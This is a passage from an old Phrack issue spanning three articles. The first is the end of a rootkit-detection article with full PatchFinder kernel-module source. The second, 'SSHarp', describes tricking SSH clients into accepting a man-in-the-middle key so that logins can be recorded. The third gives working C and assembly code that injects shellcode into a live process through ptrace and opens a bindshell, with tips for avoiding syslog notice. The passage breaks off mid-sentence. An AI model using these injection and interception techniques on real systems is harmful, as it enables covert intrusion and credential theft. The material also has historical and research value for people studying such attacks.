Fun and Profit", Phrack 50, 1997. [KNAR01] Cyberwinds, "Knark-2.4.3" (Knark 0.59 ported to Linux 2.4), 2001. [ADOR01] Stealth, "Adore v0.42", http://spider.scorpions.net/~stealth, 2001. [SILV98] Silvio Cesare, "Runtime kernel kmem patching", http://www.big.net.au/~silvio, 1998. [SUKT01] sd, devik, "Linux on-the-fly kernel patching without LKM" (SucKIT source code), Phrack 58, 2001. [PALM01] palmers, "Sub proc_root Quando Sumus (Advances in Kernel Hacking)" (prrf source code), Phrack 58, 2001. [MMAP02] Guillaume Pelat, "Grsecurity problem - modifying 'read-only kernel'", http://securityfocus.com/archive/1/273002, 2002. [IA32] "IA-32 Intel Architecture Software Developer's Manual", vol. 1-3, www.intel.com, 2001. --[ Appendix: PatchFinder source code This is the PatchFinder, the proof of concept of the described technique. It does not implement polymorphisms. The LKM support is need in order to run this program. If, during test you notice strange actions (like system Oops) this probably means that somebody rooted your system. On the other hand it could be my bug... And remember to remove the patchfinder's module after the tests. <++> ./patchfinder/Makefile MODULE_NAME=patchfinder.o PROG_NAME=patchfinder all: $(MODULE_NAME) $(PROG_NAME) $(MODULE_NAME) : module.o traps.o ld -r -o $(MODULE_NAME) module.o traps.o module.o : module.c module.h gcc -c module.c -I /usr/src/linux/include traps.o : traps.S module.h gcc -D__ASSEMBLY__ -c traps.S $(PROG_NAME): main.o tests.o libpf.o gcc -o $(PROG_NAME) main.o tests.o libpf.o main.o: main.c main.h gcc -c main.c -D MODULE_NAME='"$(MODULE_NAME)"'\ -D PROG_NAME='"$(PROG_NAME)"' tests.o: tests.c main.h libpf.o: libpf.c libpf.h clean: rm -fr *.o $(PROG_NAME) <--> ./patchfinder/Makefile <++> ./patchfinder/traps.S /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #define __KERNEL__ #include "module.h" tsk_ptrace = 24 # offset into the task_struct ENTRY(PF_system_call) pushl %ebx movl $-8192, %ebx andl %esp, %ebx # %ebx <-- current testb $PT_PATCHFINDER,tsk_ptrace(%ebx) je continue_syscall pushf popl %ebx orl $TF_MASK, %ebx # set TF flag pushl %ebx popf continue_syscall: popl %ebx jmp *orig_system_call ENTRY(PF_debug) incl PF_traps iret <--> ./patchfinder/traps.S <++> ./patchfinder/module.h /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #ifndef __MODULE_H #define __MODULE_H #define PT_PATCHFINDER 0x80 /* should not conflict with PT_xxx defined in linux/sched.h */ #define TF_MASK 0x100 /* TF mask in EFLAGS */ #define SYSCALL_VECTOR 0x80 #define DEBUG_VECTOR 0x1 #define PF_START 0xfee #define PF_GET 0xfed #define PF_QUERY 0xdefaced #define PF_ANSWER 0xaccede #define __NR_patchfinder 250 #endif <--> ./patchfinder/module.h <++> ./patchfinder/module.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include #endif #include #include #include #include "module.h" #define DEBUG 1 MODULE_AUTHOR("Jan Rutkowski"); MODULE_DESCRIPTION("The PatchFinder module"); asmlinkage int PF_system_call(void); asmlinkage int PF_debug (void); int (*orig_system_call)(); int (*orig_debug)(); int (*orig_syscall)(unsigned int); extern void *sys_call_table[]; int PF_traps; /* this one comes from arch/i386/kernel/traps.c */ #define _set_gate(gate_addr,type,dpl,addr) \ do { \ int __d0, __d1; \ __asm__ __volatile__ ("movw %%dx,%%ax\n\t" \ "movw %4,%%dx\n\t" \ "movl %%eax,%0\n\t" \ "movl %%edx,%1" \ :"=m" (*((long *) (gate_addr))), \ "=m" (*(1+(long *) (gate_addr))), "=&a" (__d0), "=&d" (__d1) \ :"i" ((short) (0x8000+(dpl<<13)+(type<<8))), \ "3" ((char *) (addr)),"2" (__KERNEL_CS << 16)); \ } while (0) struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2; } __attribute__ ((packed)); struct idtr { unsigned short limit; unsigned int base; } __attribute__ ((packed)); struct idt_gate * get_idt () { struct idtr idtr; asm("sidt %0" : "=m" (idtr)); return (struct idt_gate*) idtr.base; } void * get_int_handler (int n) { struct idt_gate * idt_gate = (get_idt() + n); return (void*)((idt_gate->off2 << 16) + idt_gate->off1); } static void set_system_gate(unsigned int n, void *addr) { printk ("setting int for int %d -> %#x\n", n, addr); _set_gate(get_idt()+n,15,3,addr); } asmlinkage int sys_patchfinder (int what) { struct task_struct *tsk = current; switch (what) { case PF_START: tsk->ptrace |= PT_PATCHFINDER; PF_traps = 0; break; case PF_GET: tsk->ptrace &= ~PT_PATCHFINDER; break; case PF_QUERY: return PF_ANSWER; default: printk ("I don't know what to do!\n"); return -1; } return PF_traps; } int init_module () { EXPORT_NO_SYMBOLS; orig_system_call = get_int_handler (SYSCALL_VECTOR); set_system_gate (SYSCALL_VECTOR, &PF_system_call); orig_debug = get_int_handler (DEBUG_VECTOR); set_system_gate (DEBUG_VECTOR, &PF_debug); orig_syscall = sys_call_table[__NR_patchfinder]; sys_call_table [__NR_patchfinder] = sys_patchfinder; printk ("Kernel PatchFinder has been succesfully" "inserted into your kernel!\n"); #ifdef DEBUG printk (" orig_system_call : %#x\n", orig_system_call); printk (" PF_system_calli : %#x\n", PF_system_call); printk (" orig_debug : %#x\n", orig_debug); printk (" PF_debug : %#x\n", PF_debug); printk (" using syscall : %d\n", __NR_patchfinder); #endif return 0; } int cleanup_module () { set_system_gate (SYSCALL_VECTOR, orig_system_call); set_system_gate (DEBUG_VECTOR, orig_debug); sys_call_table [__NR_patchfinder] = orig_syscall; printk ("PF module safely removed.\n"); return 0; } <--> ./patchfinder/module.c <++> ./patchfinder/main.h /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #ifndef __MAIN_H #define __MAIN_H #define PF_MAGIC "patchfinder" #define M_GENTTBL 1 #define M_CHECK 2 #define MAX_TESTS 9 #define TESTNAMESZ 32 #define WARN_THRESHOLD 20 #define ALERT_THRESHHOLD 500 #define TRIES_DEFAULT 200 typedef struct { int t; double ft; char name[TESTNAMESZ]; int (*test_func)(); } TTEST; typedef struct { char magic[sizeof(PF_MAGIC)]; TTEST test [MAX_TESTS]; int ntests; int tries; } TTBL; #endif <--> ./patchfinder/main.h <++> ./patchfinder/main.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #include #include #include #include #include #include "main.h" #include "libpf.h" void die (char *str) { if (errno) perror (str); else printf ("%s\n", str); exit (1); } void usage () { printf ("(c) Jan K. Rutkowski, 2002\n"); printf ("email: jkrutkowski@elka.pw.edu.pl\n"); printf ("%s [OPTIONS] \n", PROG_NAME); printf (" -g save current system's characteristics to file\n"); printf (" -c check system against saved results\n"); printf (" -t change number of iterations per each test\n"); exit (0); } void write_ttbl (TTBL* ttbl, char *filename) { int fd; fd = open (filename, O_WRONLY | O_CREAT); if (fd < 0) die ("can not create file"); strcpy (ttbl->magic, PF_MAGIC); if (write (fd, ttbl, sizeof (TTBL)) < 0) die ("can not write to file"); close (fd); } void read_ttbl (TTBL* ttbl, char *filename) { int fd; fd = open (filename, O_RDONLY); if (fd < 0) die ("can not open file"); if (read (fd, ttbl, sizeof (TTBL)) != sizeof(TTBL)) die ("can not read file"); if (strncmp(ttbl->magic, PF_MAGIC, sizeof (PF_MAGIC))) die ("bad file format\n"); close (fd); } main (int argc, char **argv) { TTBL current, clear; int tries = 0, mode = 0; int opt, max_prio, i, j, T1, T2, dt; char *ttbl_file; struct sched_param sched_p; while ((opt = getopt (argc, argv, "hg:c:t:")) != -1) switch (opt) { case 'g': mode = M_GENTTBL; ttbl_file = optarg; break; case 'c': ttbl_file = optarg; mode = M_CHECK; break; case 't': tries = atoi (optarg); break; case 'h': default : usage(); } if (getuid() != 0) die ("For some reasons you have to be root"); if (!mode) usage(); if (patchfinder (PF_QUERY) != PF_ANSWER) { printf ( "\n ---== ALERT! ==--\n" "It seems that module %s is not loaded. " "However if you are\nsure that it is loaded," "then this situation means that with your\n" "kernel is something wrong! Probably there is " "a rootkit installed!\n", MODULE_NAME); exit (1); } current.tries = (tries) ? tries : TRIES_DEFAULT; if (mode == M_CHECK) { read_ttbl (&clear, ttbl_file); current.tries = (tries) ? tries : clear.tries; } max_prio = sched_get_priority_max (SCHED_FIFO); sched_p.sched_priority = max_prio; if (sched_setscheduler (0, SCHED_RR, &sched_p) < 0) die ("Setting realtime policy\n"); fprintf (stderr, "* FIFO scheduling policy has been set.\n"); generate_ttbl (¤t); sched_p.sched_priority = 0; if (sched_setscheduler (0, SCHED_OTHER, &sched_p) < 0) die ("Dropping realtime policy\n"); fprintf (stderr, "* dropping realtime schedulng policy.\n\n"); if (mode == M_GENTTBL) { write_ttbl (¤t, ttbl_file); exit (0); } printf ( " test name | current | clear | diff | status \n"); printf ( "------------------------------------------------------\n"); for (i = 0; i < current.ntests; i++) { if (strncmp (current.test[i].name, clear.test[i].name, TESTNAMESZ)) die ("ttbl entry name mismatch"); T1 = current.test[i].t; T2 = clear.test[i].t; dt = T1 - T2; printf ("%-18s | %7d| %7d|%7d|", current.test[i].name, T1, T2, dt); dt = abs (dt); if (dt < WARN_THRESHOLD) printf (" ok "); if (dt >= WARN_THRESHOLD && dt < ALERT_THRESHHOLD) printf (" (?) "); if (dt >= ALERT_THRESHHOLD) printf (" ALERT!"); printf ("\n"); } } <--> ./patchfinder/main.c <++> ./patchfinder/tests.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #include #include #include #include #include #include #include "libpf.h" #include "main.h" int test_open_file () { int tmpfd, T = 0; patchfinder (PF_START); tmpfd = open ("/etc/passwd", 0, 0); T = patchfinder (PF_GET); close (tmpfd); return T; } int test_stat_file () { int T = 0; char buf[0x100]; /* we dont include sys/stat.h */ patchfinder (PF_START); stat ("/etc/passwd", &buf); T = patchfinder (PF_GET); return T; } int test_read_file () { int fd, T = 0; char buf[0x100]; fd = open ("/etc/passwd", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); read (fd, buf , sizeof(buf)); T = patchfinder (PF_GET); close (fd); return T; } int test_open_kmem () { int tmpfd; int T = 0; patchfinder (PF_START); tmpfd = open ("/dev/kmem", 0, 0); T = patchfinder (PF_GET); close (tmpfd); return T; } _syscall3(int, getdents, int, fd, struct dirent*, dirp, int, count) int test_readdir_root () { int fd, T = 0; struct dirent de[1]; fd = open ("/", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); getdents (fd, de, sizeof (de)); T = patchfinder (PF_GET); close (fd); return T; } int test_readdir_proc () { int fd, T = 0; struct dirent de[1]; fd = open ("/proc", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); getdents (fd, de, sizeof (de)); T = patchfinder (PF_GET); close (fd); return T; } int test_read_proc_net_tcp () { int fd, T = 0; char buf[32]; fd = open ("/proc/net/tcp", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); read (fd, buf , sizeof(buf)); T = patchfinder (PF_GET); close (fd); return T; } int test_lseek_kmem () { int fd, T = 0; fd = open ("/dev/kmem", 0, 0); if (fd <0) die ("open"); patchfinder (PF_START); lseek (fd, 0xc0100000, 0); T = patchfinder (PF_GET); close (fd); return T; } int test_read_kmem () { int fd, T = 0; char buf[256]; fd = open ("/dev/kmem", 0, 0); if (fd < 0) die ("open"); lseek (fd, 0xc0100000, 0); patchfinder (PF_START); read (fd, buf , sizeof(buf)); T = patchfinder (PF_GET); close (fd); return T; } int generate_ttbl (TTBL *ttbl) { int i = 0, t; #define set_test(testname) { \ ttbl->test[i].test_func = test_##testname; \ strcpy (ttbl->test[i].name, #testname); \ ttbl->test[i].t = 0; \ ttbl->test[i].ft = 0; \ i++; \ } set_test(open_file) set_test(stat_file) set_test(read_file) set_test(open_kmem) set_test(readdir_root) set_test(readdir_proc) set_test(read_proc_net_tcp) set_test(lseek_kmem) set_test(read_kmem) assert (i <= MAX_TESTS); ttbl->ntests = i; #undef set_test fprintf (stderr, "* each test will take %d iteration\n", ttbl->tries); usleep (100000); for (i = 0; i < ttbl->ntests; i++) { for (t = 0; t < ttbl->tries; t++) ttbl->test [i].ft += (double)ttbl->test[i].test_func(); fprintf (stderr, "* testing... %d%%\r", i*100/ttbl->ntests); usleep (10000); } for (i = 0; i < ttbl->ntests; i++) ttbl->test [i].t = (int) (ttbl->test[i].ft/(double)ttbl->tries); fprintf (stderr, "\r* testing... done.\n"); return i; } <--> ./patchfinder/tests.c <++> ./patchfinder/libpf.h /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #ifndef __LIBPF_H #define __LIBPF_H #include "module.h" int patchfinder(int what); #endif <--> ./patchfinder/libpf.h <++> ./patchfinder/libpf.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #include #include "libpf.h" _syscall1(int, patchfinder, int, what) <--> ./patchfinder/libpf.c ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0b of 0x12 |=-----------------=[ It cuts like a knife. SSHarp. ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ stealth ]=------------------=| --[ Contents - Intoduction 1 - Playing with the banner 2 - Playing with the keys 3 - Countermeasures 4 - An Implementation 5 - Discussion 6 - Acknowledgments 7 - References --[ Introduction The Secure Shell (SSH) protocol which itself is considered strong is often weakly implemented. Especially the SSH1/SSH2 interoperability as implemented in most SSH clients suffers from certain weak points as described below. Additionally the SSH2 protocol itself is also flexible enough to contain some interesting parts for attackers. For disclaimer see the pdf-version of this article available [here]. The described mim-program will be made available one week after releasing this article to give vendors time for fixes (which are rather trivial) to limit the possibility of abuse. In this article I will describe how SSH clients can be tricked into thinking they are missing the host-key for the host they connected to even though they already have it in their list of known hosts. This is possible due to some points in the SSH drafts which makes life of SSH developers harder but which was ment to offer special protection or more flexibility. I assume you have a basic understanding of how SSH works. However it is not necessary to understand it all in detail because the attacks succeeds in the handshake where only a few packets have been exchanged. I also assume you are familiar with the common attacking scenarios in networks like Man in the Middle attacks, hijacking attacks against plaintext protocols, replay attacks and so on. --[ 1 - Playing with the banner The SSH draft demands that both, client and server, exchange a banner before negotiating the key used for encrypting the communication channel. This is indeed needed for both sides to see which version of the protocol they have to speak. A banner commonly looks like SSH-1.99-OpenSSH_2.2.0p1 A client obtaining such a banner reads this as "speak SSH1 or SSH2 to me". This is due to the "1" after the dash, the so called remote major version. It allows the client to choose SSH1 for key negotiation and further encryption. However it is also possible for the client to continue with SSH2 packets as the "99" tells him which is also called the remote minor version. (It is a convention that a remote-minor version of 99 with a remote-major version of 1 means both protocols.) Depending on the clients configuration files and command-line options he decides to choose one of both protocols. Assuming the user does not force a protocol with either of the "-1" or "-2" switch most clients should behave the same way. This is due to the configuration files which do not differ that much across the various SSH vendors and often contain the line Protocol 1,2 which makes the client choose SSH protocol version 1. It is obvious what follows now. Since the SSH client used to use SSH1 to talk to the server it is likely that he never spoke SSH2 before. This may be exploited by attackers to prompt a banner like SSH-2.00-TESO-SSH to the client. The client looks up his database of known hosts and misses the host-key because it only finds the SSH1 key of the server which does not help much because according to the banner he is not allowed to speak SSH1 anymore (since the remote major version number is 2). Instead of presenting a warning like @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the RSA1 host key has just been changed. The fingerprint for the RSA1 key sent by the remote host is f3:cd:d9:fa:c4:c8:b2:3b:68:c5:38:4e:d4:b1:42:4f. Please contact your system administrator. if someone tries MiM attacks against it without the banner-hack, it asks the user to just accept the new key: Enabling compatibility mode for protocol 2.0 The authenticity of host 'lucifer (192.168.0.2)' can't be established. DSA key fingerprint is ab:8a:18:15:67:04:18:34:ec:c9:ee:9b:89:b0:da:e6. Are you sure you want to continue connecting (yes/no)? It is much easier now for the user to type "yes" instead of editing the known_hosts file and restarting the SSH client. Once accepted, the attackers SSH server would record the login and password and would forward the SSH connection so the user does not notice his account was just compromised. The described attack is not just an upgrade attack. It also works to downgrade SSH2 speaking clients to SSH1. If the banner would contain "2.0" the client only spoke SSH2 to the original server and usually can not know the SSH1 key of the server because he does not speak SSH1 at all. However our MiM server speaks SSH1 and prompts the client once again with a key he cannot know. This attack will not work for clients which just support one protocol (likely to be SSH1) because they only implement one of them. These clients should be very seldom and most if not all SSH clients support both versions, indeed it is even a marketing-pusher to support both versions. If the client uses RSA authentication there is no way for the attacker to get in between since he cannot use the RSA challenges presented to him by the server because he is talking a different protocol to the client. In other words, the attacker is never speaking the same version of the protocol to both parties and thus cannot forward or intercept RSA authentication. A sample MiM program (ssharp) which mounts the banner-hack and records logins can be found at [ssharp]. --[ 2 - Playing with the keys It would be nice to have a similar attack against SSH without a version switch. This is because the version switch makes it impossible to break the RSA authentication. Reading the SSH2 draft shows that SSH2 does not use the host-key for encryption anymore (as with SSH1 where the host and server-key was sent to the client which sent back the session-key encrypted with these keys). Instead the client obtains the host-key to check whether any of the exchanged packets have been tampered with by comparing the server sent MAC (Message Authentication Code; the server computes a hash of the packets exchanged and signs it using the negotiated algorithm) with his own computed hash. The SSH2 draft is flexible enough to offer more than just one static algorithm to allow MAC computation. Rather it specifies that during key exchange the client and the server exchange a list of preferred algorithms they use to ensure packet integrity. Commonly DSA and RSA are used: stealth@liane:~> telnet 192.168.0.2 22 Trying 192.168.0.2... Connected to 192.168.0.2. Escape character is '^]'. SSH-1.99-OpenSSH_2.2.0p1 SSH-2.0-client `$es��%9�2Ը4D=�)��ydiffie-hellman-group1-sha1ssh-dss... I deleted a lot of characters and replaced it with "..." because the interesting part is the "ssh-dss" which denotes the servers favorite algorithm used for MAC computation. Clients connecting to 192.168.0.2 cannot have a RSA key for computation because the server does not have one! Of course the attackers MiM program has a RSA key and offers only RSA to ensure integrity: stealth@liane:~> telnet 192.168.0.2 22 Trying 192.168.0.2... Connected to 192.168.0.2. Escape character is '^]'. SSH-2.0-OpenSSH_2.9p1 SSH-2.0-client at s�eu��>vM��E=diffie-hellman-group-exchange-sha1, diffie-hellman-group1-sha1ssh-rsa... A SSH client connecting to our MiM server will once again prompt the user to accept the new key instead of issuing the MiM warning. The MiM server connected to the original server and got to know that he is using DSA. He then decided to face the user with a RSA key. If the original server offers DSA and RSA the MiM server will wait until the client sends his preferred algorithms and will choose an algorithm the client is naming for his second choice. A RFC compliant SSH2 server has to choose the first algorithm he is supporting from the client list, our MiM server will choose the next one and thus produces a key-miss on client-side. This will again produce a yes/no prompt instead of the warning message. "ssharp" also supports this key-hack mode. --[ 3 - Countermeasures Having the RSA host-key for a server offering a DSA host-key means nothing for todays clients. They ignore the fact that they have a valid host-key for that host but in a different key-type. SSH clients should also issue the MiM warning if they find host-keys for the server where either the version or type does not match. Its very likely someone in playing MiM games. In my eyes it is definitely a bug in the SSH client software. --[ 4 - An Implementation There already exist some MiM implementations for SSH1 such as [dsniff] or [ettercap]. Usually they understand the SSH protocol and put much effort into packet assembling and reassembling or forwarding. Things are much simpler. ssharp is based on a normal OpenSSH daemon which was modified to accept any login/password pair and starts a special shell for these connections: a SSH client which is given the username/password and the real destination IP. It logs into the remote host without user-interaction and since it is bound to the mim servers pty it looks for the user like he enters his normal shell. This way it is not needed to mess with SSH1 or SSH2 protocol or to replace keys etc. We just play with the banner or the signature algorithm negotiation the way described above. If compiled with USE_MSS option enabled, ssharp will slip the SSH client through a screen-like session which allows attaching of third parties to existing (mimed) SSH1 or SSH2 connections. It is also possible to kick out the legitimate user and completely take control over the session. --[ 5 - Discussion I know I know; a lot of people will ask "thats all?" now. As with every discovery plenty of folks will claim that this is "standard UNIX semantics" or it is feature and not a bug or that the vulnerability is completely Theo...cal. Neither of them is the case here, and the folks only looking for weaknesses in the crypto-algorithms such as key-stream-reuse and possibilities to inject 2^64 ;-) adaptive choosen plain-texts will hopefully acknowledge that crypto-analysis in 2002 welcomes laziness and misunderstanding of drafs on board. Laziness already broke Enigma, but next years will show how much impact it has when people are not able to completely understand protocols or put too much trust in crypto and do not think about the impact of violating the simple MUST in section 1.1.70.3.3.1.9.78. of the super-crypto draft. --[ 6 - Acknowledgments Folks from the segfault dot net consortium ;-) for discussing and offering test environments. If you like to donate some hardware or money to these folks let me know. It would definitely help to let continue research on this and similar topics. Also thanks to various other folks for discussing SSH with me. This article is also available [here] as pdf paper with some screen-shots to demonstrate the power of ssharp. --[ 7. References [dsniff] as far as I know the first SSH1 MiM implementation "monkey in the middle" part of dsniff package. http://www.monkey.org/~dugsong/dsniff [ettercap] good sniffer/mim combo program for lazy hackers ;-) http://ettercap.sourceforge.net [ssharp] an implementation of the attacks described in this article http://stealth.7350.org/7350ssharp.tgz [here] this article as pdf with screenshots http://stealth.7350.org/ssharp.pdf |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12 |=---------------=[ Building ptrace injecting shellcodes ]=--------------=| |=-----------------------------------------------------------------------=| |=------------=[ anonymous author long int ptrace(enum __ptrace_request request, pid_t pid, void * addr, void * data) 'request' is a symbolic constant declared in sys/ptrace.h . We shall use those : PTRACE_ATTACH : Attach to the process pid. PTRACE_DETACH : ugh, Detach from the process pid. Never forget to do that, or your traced process will stay in stopped mode, which is unrecoverable remotely. PTRACE_GETREGS : This command copy the process registers into the struct pointed by data (addr is ignored). This structure is struct user_regs_struct defined as this, in asm/user.h : struct user_regs_struct { long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; long orig_eax, eip; unsigned short cs, __cs; long eflags, esp; unsigned short ss, __ss; }; PTRACE_SETREGS : This command has the opposite meaning of PTRACE_GETREGS, with same arguments PTRACE_POKETEXT : This command copies 32 bits from the address pointed by data in the addr address of the traced process. This is equivalent to PTRACE_POKEDATA. An important thing when you attach a pid is that you have to wait for the traced process to be stopped, and so have to wait for the SIGCHLD signal. wait(NULL) does this perfectly (implemented in the shellcode by waitpid). 3.2 - How does the library make the call As we are writing asm code, we have to know how to call directly the ptrace system call. Little tests may show us the way the library uses to wrap the syscalls, and simply : eax is SYS_ptrace (26 decimal) ebx is request (e.g. PTRACE_ATTACH is 16) ecx is pid edx is addr esi is data in error case, -1 is stored in eax. ---[ 4 - Injecting code in a process - C code 4.1 - The stack is our friend I've seen some injection mechanism used by some ptrace() exploits for linux, which injected a standard shellcode into the memory area pointed by %eip. That's the lazy way of doing injection, since the target process is screwed up and can't be used again. (crashes or doesn't fork) We have to find another way to execute our code in the target process. That's what I was thinking and I found this : 1- Get the current eip of the process, and the esp. 2- Decrement esp by four 3- Poke eip address at the esp address. 4- Inject the shellcode into esp - 1024 address (Not directly before the space pointed by esp, because some shellcodes use the push instruction) 5- Set register eip as the value of esp - 1024 6- Invoke the SETREGS method of ptrace 7- Detach the process and let it open a root shell for you :) The reason of non-usability on systems with nonexec stack is that the shellcode is uploaded onto the stack. That's a /feature/, not a bug. I've heard of methods saving the memory context of the traced process, uploading shellcode, wait it to finish (usually after the fork) and then restoring the old state of the traced process. That's a way, but I don't think it is really efficient because modern non-exec patches also avoid ptracing of unrestricted processes. (At least grsec does that.) The target stack may look as this : [DOWN][program stack][old_eip][craps for 1024 bytes][shellcode][UP] ^> Original esp points here new eip<^ new<^>esp points here Something important to do before the exploitation is to put two nops bytes before the shellcode. Reason is simple : if ptrace has interrupted a syscall being executed, the kernel will subtract two bytes from eip after the PTRACE_DETACH to restart the syscall. 4.2 - Code to inject The code to inject has to work peacefully with the stack we have set up for it : it may fork(), and let the original process continue its job. The new process may launch a bindshell ! Here's the code of s1.S , compilable with gcc : /* all that part has to be done into the injected process */ /* in other word, this is the injected shellcode */ .globl injected_shellcode injected_shellcode: // ret location has been pushed previously nop nop pusha // save before anything xor %eax,%eax mov $0x02,%al //sys_fork int $0x80 //fork() xor %ebx,%ebx cmp %eax,%ebx // father or son ? je son // I'm son //here, I'm the father, I've to restore my previous state father: popa ret /* return address has been pushed on the stack previously */ // code finished for father son: /* standard shellcode, at your choice */ .string "" local@darkside:~/dev/ptrace$ gcc -c s1.S Explanations : The first two nops are the nops I've discussed just before, because in my final shellcode I choose to decrement the destination buffer source address by two. The pusha saves all the registers on the stack, so the process may restore them just after the fork. (I say eax and ebx) If the return value of fork is zero, this is the son being executed. There we insert any style of shellcode. If the return value is not zero (but a pid), restore the registers and the previously saved eip. The program may continue as if nothing has happened. 4.3 - Our first C code Lot of theory, now a little practical example. Here is a program which will fork, attach its son, inject it the code, let it run and after kill it. So, there is p2.c : #include #include #include #include typedef long int pid_t; void injected_shellcode(); char *hello_shellcode= "\x31\xc0\xb0\x04\xeb\x0f\x31\xdb\x43\x59" "\x31\xd2\xb2\x0d\xcd\x80\xa1\x78\x56\x34" "\x12\xe8\xec\xff\xff\xff\x48\x65\x6c\x6c" "\x6f\x2c\x57\x6f\x72\x6c\x64\x20\x21" ; /* Prints hello. What a deal ! */ char *shellcode; int child(){ while(1){ write(2,".",1); sleep(1); } return 0; } int father (pid_t pid){ int error; int i=0; int ptr; int begin; struct user_regs_struct data; if (error=ptrace(PTRACE_ATTACH,pid,NULL,NULL)) perror("attach"); waitpid(pid,NULL,0); if(error=ptrace(PTRACE_GETREGS,pid,&data,&data)) perror("getregs"); printf("%%eip : 0x%.8lx\n",data.eip); printf("%%esp : 0x%.8lx\n",data.esp); data.esp -= 4; ptrace(PTRACE_POKETEXT,pid,data.esp,data.eip); ptr=begin=data.esp-1024; printf("Inserting shellcode into %.8lx\n",begin); data.eip=(long)begin+2; ptrace(PTRACE_SETREGS,pid,&data,&data); while(i1) pid=atoi(argv[1]); shellcode=malloc( strlen((char*) injected_shellcode) + strlen(hello_shellcode) + 4); strcpy(shellcode,(char *) injected_shellcode); strcat(shellcode,(char *) hello_shellcode); printf("p2 : trying to launch shellcode on forked process\n"); if(pid==0) pid=fork(); if (pid){ printf("I'm the father\n"); sleep(2); father(pid); sleep(2); kill(pid,9); wait(NULL); }else{ printf("I'm the child\n"); child(); } return 0; } Compile all that with gcc -o p2 p2.c s1.S and admire my cut & paste skillz local@darkside:~/dev/ptrace$ ./p2 p2 : trying to launch shellcode on forked process I'm the father I'm the child ...%eip : 0x400c0a11 %esp : 0xbffff470 Inserting shellcode into bffff06c .Hello,World !. It really happened. the .... process forked and then printed "Hello, world!". 5 - First try to shellcodize it Before doing it, we have to remember our rules. I'll program it without really optimizing it in size (I let bighawk or pr1 do that) but designing with pre-compiler conditional assemble. gcc -DLONG for a very careful shellcode (checks etc...) gcc -DSHORT for a very tiny shellcode (which does the minimum but unsafe). So, if size really matters, we can exit(0) simply by jumping anywhere, or if size does not matter at all, we can make draconian tests. I will use at&t syntax, compilable with gcc. If you don't like it, a good (and big) awk script may do the trick. 5.1 When you need some body to trace A basic approach is first to set the stack pointer to a high value. We can't be certain that the stack pointer is not less than current eip (in the case of a stack based overflow). The easier (and laziest) way to do this is to set esp to 0xbffffe04. This esp value works on nearly all linux/x86 boxes I've seen, and is near the stack bottom, but not too much, and doesn't contain a zero. Then, we get the ppid process with the getppid() syscall. Next, first try to attach it. If the attach fails, 99% chances are that the ppid is init. In this case, we increment the pid until we can attach something. (Warning, debugging this part of code is not easy at all. When you trace a process, you become its ppid. In this case, the shellcode will attach your debugger and a mutual deadlock will appear. Who told "A cool/good anti-debugger technique ?") So I included a test for the DEBUG_PID preprocessor variable. Put there whatever pid you want to inject something in. Note that the pid is put on the stack, at the 12(%ebp) place. That's useful because we will need it in nearly all system calls. 5.2 Waiting (for love ?) Now, little shellcode has to wait for its child. There are two ways of doing this : - waitpid(pid,NULL,NULL); - big big loop; As I didn't success to make a reasonably short (in time) loop smaller in size than the syscall, the code contains only the system call. 5.3 Registers where are you ? The target process is ready to be modified, but the first thing to do with it is to extract the registers. The ebp register is saved into esi, and then esi is incremented by 16. It will be the "data" argument of the ptrace call. So, after the syscall, target registers are beginning at 16(%ebp). Interesting registers are : esp : 76(%ebp) eip : 64(%ebp) The register tricks I have described before are in the shellcode source, but are not so complicated, including the "push"-like instruction to push the old eip address. 5.4 Upload in progress "Uploading" the shellcode, or injecting it in the target process, is just a little loop. The shellcode itself is not really clear because the loop counter used is esp. We set esp with the value specified in macro SHELLCODELEN. In edi, we set the memory address of the injected shellcode in the current process. Edx contains the target address, previously decremented of two conforming to our first note about this. As after the interrupt call, eax must be zero, we can safely use it to test if esp reached the final state. 5.5 You'll be a man, my son. We can safely detach the process now. If we forget to detach (laziness or simply spaceless) the process will remain in interrupted state, which needs a SIGCONT to launch our bindshell. After this hard work, shellcode can exit, simply by the exit() syscall which usually doesn't alarm inetd or such and doesn't create any alarming note in syslog. (for the cute version, "ret" may be enough to segfault and so close the process.) The bindshell I included binds port 0x4141. Remember that two fast executions of the shellcode may block the port 0x4141 for minutes. That was quite annoying while coding this. The shellcode hasn't been optimized in size yet. You can compile the attached code with gcc -DLONG -c -o injector.o injector.S and linking it with your favourite exploit. Code is 100% null-chars free. I didn't look for newlines, carriage returns, spaces, percents, 0xff, etc... ---[ 6 - References and greetings Man page of ptrace() is cool, lucid, informative, and so on. Intel documentation book 2 : the instructions was an useful book full of 1-byte-instructions-which-does-everything. Special greets to the other guys from minithins.net, UNF people, my tender girlfriend 